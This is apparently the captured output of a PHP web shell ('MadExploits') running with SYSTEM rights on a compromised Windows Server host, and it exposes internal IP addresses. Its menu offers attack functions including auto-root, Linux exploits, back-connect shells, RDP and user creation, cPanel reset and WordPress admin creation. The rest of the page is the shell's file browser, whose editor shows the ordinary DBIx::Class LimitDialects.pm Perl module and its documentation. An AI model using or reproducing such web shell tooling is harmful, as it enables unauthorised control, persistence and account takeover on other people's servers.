Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
DBIx /
Class /
SQLMaker /
[ HOME SHELL ]
Name
Size
Permission
Action
ACCESS.pm
742
B
-rw-rw-rw-
ClassicExtensions.pm
34.83
KB
-rw-rw-rw-
LimitDialects.pm
4.94
KB
-rw-rw-rw-
MSSQL.pm
237
B
-rw-rw-rw-
MySQL.pm
2.63
KB
-rw-rw-rw-
Oracle.pm
6.17
KB
-rw-rw-rw-
OracleJoins.pm
4.43
KB
-rw-rw-rw-
SQLite.pm
229
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LimitDialects.pm
# because of how loose dep specs are, we need to keep squatting # on the CPAN face - FOREVER. package DBIx::Class::SQLMaker::LimitDialects; use warnings; use strict; ## ## Compat in case someone is using these in the wild... ## my $sigh = sub { require DBIx::Class::_Util; require DBIx::Class::SQLMaker; my( $meth ) = (caller(1))[3] =~ /([^:]+)$/; DBIx::Class::_Util::emit_loud_diag( skip_frames => 1, msg => "The $meth() constant is now provided by DBIx::Class::SQLMaker::ClassicExtensions: please adjust your code" ); DBIx::Class::SQLMaker::ClassicExtensions->$meth; }; sub __rows_bindtype { $sigh->() } sub __offset_bindtype { $sigh->() } sub __total_bindtype { $sigh->() } 1; __END__ =head1 NAME DBIx::Class::SQLMaker::LimitDialects - SQL::Abstract::Limit-like functionality in DBIx::Class::SQLMaker =head1 DESCRIPTION DBIC's SQLMaker stack replicates and surpasses all of the functionality originally found in L<SQL::Abstract::Limit>. While simple limits would work as-is, the more complex dialects that require e.g. subqueries could not be reliably implemented without taking full advantage of the metadata locked within L<DBIx::Class::ResultSource> classes. After reimplementation of close to 80% of the L<SQL::Abstract::Limit> functionality it was deemed more practical to simply make an independent DBIx::Class-specific limit-dialect provider. =head1 SQL LIMIT DIALECTS Note that the actual implementations listed below never use C<*> literally. Instead proper re-aliasing of selectors and order criteria is done, so that the limit dialect are safe to use on joined resultsets with clashing column names. Currently the provided dialects are: =head2 LimitOffset SELECT ... LIMIT $limit OFFSET $offset Supported by B<PostgreSQL> and B<SQLite> =head2 LimitXY SELECT ... LIMIT $offset, $limit Supported by B<MySQL> and any L<SQL::Statement> based DBD =head2 RowNumberOver SELECT * FROM ( SELECT *, ROW_NUMBER() OVER( ORDER BY ... ) AS RNO__ROW__INDEX FROM ( SELECT ... ) ) WHERE RNO__ROW__INDEX BETWEEN ($offset+1) AND ($limit+$offset) ANSI standard Limit/Offset implementation. Supported by B<DB2> and B<< MSSQL >= 2005 >>. =head2 SkipFirst SELECT SKIP $offset FIRST $limit * FROM ... Supported by B<Informix>, almost like LimitOffset. According to L<SQL::Abstract::Limit> C<... SKIP $offset LIMIT $limit ...> is also supported. =head2 FirstSkip SELECT FIRST $limit SKIP $offset * FROM ... Supported by B<Firebird/Interbase>, reverse of SkipFirst. According to L<SQL::Abstract::Limit> C<... ROWS $limit TO $offset ...> is also supported. =head2 RowNum Depending on the resultset attributes one of: SELECT * FROM ( SELECT *, ROWNUM AS rownum__index FROM ( SELECT ... ) WHERE ROWNUM <= ($limit+$offset) ) WHERE rownum__index >= ($offset+1) or SELECT * FROM ( SELECT *, ROWNUM AS rownum__index FROM ( SELECT ... ) ) WHERE rownum__index BETWEEN ($offset+1) AND ($limit+$offset) or SELECT * FROM ( SELECT ... ) WHERE ROWNUM <= ($limit+1) Supported by B<Oracle>. =head2 Top SELECT * FROM SELECT TOP $limit FROM ( SELECT TOP $limit FROM ( SELECT TOP ($limit+$offset) ... ) ORDER BY $reversed_original_order ) ORDER BY $original_order Unreliable Top-based implementation, supported by B<< MSSQL < 2005 >>. =head3 CAVEAT Due to its implementation, this limit dialect returns B<incorrect results> when $limit+$offset > total amount of rows in the resultset. =head2 FetchFirst SELECT * FROM ( SELECT * FROM ( SELECT * FROM ( SELECT * FROM ... ) ORDER BY $reversed_original_order FETCH FIRST $limit ROWS ONLY ) ORDER BY $original_order FETCH FIRST $limit ROWS ONLY ) Unreliable FetchFirst-based implementation, supported by B<< IBM DB2 <= V5R3 >>. =head3 CAVEAT Due to its implementation, this limit dialect returns B<incorrect results> when $limit+$offset > total amount of rows in the resultset. =head2 GenericSubQ SELECT * FROM ( SELECT ... ) WHERE ( SELECT COUNT(*) FROM $original_table cnt WHERE cnt.id < $original_table.id ) BETWEEN $offset AND ($offset+$rows-1) This is the most evil limit "dialect" (more of a hack) for I<really> stupid databases. It works by ordering the set by some unique column, and calculating the amount of rows that have a less-er value (thus emulating a L</RowNum>-like index). Of course this implies the set can only be ordered by a single unique column. Also note that this technique can be and often is B<excruciatingly slow>. You may have much better luck using L<DBIx::Class::ResultSet/software_limit> instead. Currently used by B<Sybase ASE>, due to lack of any other option. =head1 FURTHER QUESTIONS? Check the list of L<additional DBIC resources|DBIx::Class/GETTING HELP/SUPPORT>. =head1 COPYRIGHT AND LICENSE This module is free software L<copyright|DBIx::Class/COPYRIGHT AND LICENSE> by the L<DBIx::Class (DBIC) authors|DBIx::Class/AUTHORS>. You can redistribute it and/or modify it under the same terms as the L<DBIx::Class library|DBIx::Class/COPYRIGHT AND LICENSE>.
Close